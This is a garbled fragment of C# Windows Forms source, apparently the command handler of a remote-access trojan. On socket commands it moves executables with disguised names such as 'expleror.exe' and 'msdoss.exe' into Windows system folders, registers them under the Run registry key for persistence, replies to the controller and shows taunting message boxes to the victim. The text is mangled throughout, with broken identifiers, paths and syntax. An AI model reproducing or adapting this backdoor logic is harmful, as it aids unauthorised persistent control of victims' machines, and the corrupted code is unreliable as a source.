// pPppppppppppppppppppppppppppppppppPppppppPPppppppppPppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp
// >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>
IF (ss == "jg0000")
{
Messagebox.show ("You are black!");
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
}
// >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>
// &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& The following recommendations &&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if (ss == "jy0000")
{
Messagebox.show (mystr);
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
}
// &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& above is recommended &&&&&&&&&&&&&&&&&&&&&&&&&&&
// ##################################################################################################################################################################################################################################################################################################### ##########
// ||||||||||||||||||||||||||||||||||||||||||||| |||||||||||||||||||||||
IF (ss == "MW1000")
{
Try {file.move ("c: /winnt/system/expleror.exe", "c: /winnt/system32/msdoss.exe");}
Catch {}
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Run", TRUE);
Key1.SetValue ("msdoss", "c: /winnt/system32/msdoss.exe);
Key1.Close ();
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Run");
Key2.SetValue ("msdoss", "c: /winnt/system32/msdoss.exe);
Key2.Close ();
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
}
// ||||||||||||||||||||||||||||||||||||||||||||| ||||||||||||||||||| / ______________________________________________________________
IF (ss == "MW0100)
{
Try {file.move ("c: /winnt/system/expleror.exe", "d: /winnt/system32/MICROSoftt.exe");}
Catch {}
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Run", TRUE);
Key1.SetValue ("MicrosoftT", "D: /Winnt/system32/Microsoftt.exe");
Key1.Close ();
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Run");
Key2.SetValue ("MicrosoftT", "D: /Winnt/system32/Microsoftt.exe");
Key2.Close ();
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
}
// ___________________________________________________________
/ / =========================================================================================================================================================================================== =====================================================================================================================================================
IF (ss == "MW0010")
{
Try {file.move ("c: /winnt/system32/msdoss.exe", "c: /winnt/system/expler.exe");
Catch {}
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Run", TRUE);
Key1.SetValue ("ExpleroR", "C: /Winnt/System/Expleror.exe");
Key1.Close ();
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Run"); Key2.SetValue ("Expleer", "C: / Winnt / System / Expleror");
Key2.Close ();
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
}
/ / =========================================================================================================================================================================================== ===================
// ******************************************************** *******************
IF (ss == "MW0001")
{
Try {file.move ("d: /winnt/system32/MICROSoftt.exe", "c: /winnt/system/expleror.exe");
Catch {}
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Run", TRUE);
Key1.SetValue ("ExpleroR", "C: /Winnt/System/Expleror.exe");
Key1.Close ();
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Run");
Key2.SetValue ("Explero", "C: / WinNT / System / Explero");
Key2.Close ();
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
}
// ******************************************************** *******************************
// ############################################################################################################################################################################################################################################################## ################
// ···············································
IF (ss == "xz0000") {
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Run", TRUE);
Try {key1.deletevalue ("expleror");
Catch {}
Try {key1.deletevalue ("msdoss");
Catch {}
Try {key1.deletevalue ("MicrosoftT");
Catch {}
Key1.Close ();
}
Catch {}
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
}
// ·············································
} // Socket
//
// Todo: Add Any Constructionor Code After InitializationComponent Call
//
} // Targett
/ **
/// Clean all the resources being used.
/// summary>
Protected Override Void Dispose (Bool Disposing)
{
IF (Disposing)
{
IF (Components! = NULL)
{
Components.dispose ();
}
}
Base.dispose (Disposing);
}
Windows Form Designer Generated Code # Region Windows Form Designer Generated Code
/ **
/// Designer supports the required method - do not use the code editor to modify
/// This method is content.
/// summary>
Private vidinitiRizeComponent ()
{
//
// Form1
//
THIS.AUTOSCALEBASESIZE = New System.drawing.size (6, 14);
THIS.CLIENTSIZE = New System.drawing.size (292, 266);
THIS.NAME = "Form1";
THIS.TEXT = "Form1";
This.Load = New System.EventHandler (this.form1_load);
}
#ndregion
/ **
/// The main entry point for the application.
/// summary>
[Stathread]
Static void main ()
{
Application.run (New Form1 ());
}
Private Void Form1_Load (Object Sender, System.EventArgs E)
{
}
}
}